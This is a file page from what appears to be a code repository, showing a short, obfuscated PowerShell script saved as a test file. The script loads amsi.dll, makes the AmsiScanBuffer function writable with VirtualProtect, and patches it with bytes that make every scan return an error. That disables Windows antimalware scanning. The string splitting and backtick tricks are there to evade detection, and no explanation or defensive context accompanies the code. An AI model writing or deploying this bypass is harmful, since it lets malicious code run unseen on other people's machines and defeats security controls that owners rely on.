gggg / test /Add-Type.ps1
enotkrutoy's picture
Update test/Add-Type.ps1
0bb4697 verified
raw
history blame
877 Bytes
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))
${P} = 0
[Win32]::VirtualProtect(${A`dDrESS}, [uint32]5, 0x40, [ref]${P})
${Pat`CH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`Tch}, 0, ${A`DDrE`ss}, 6)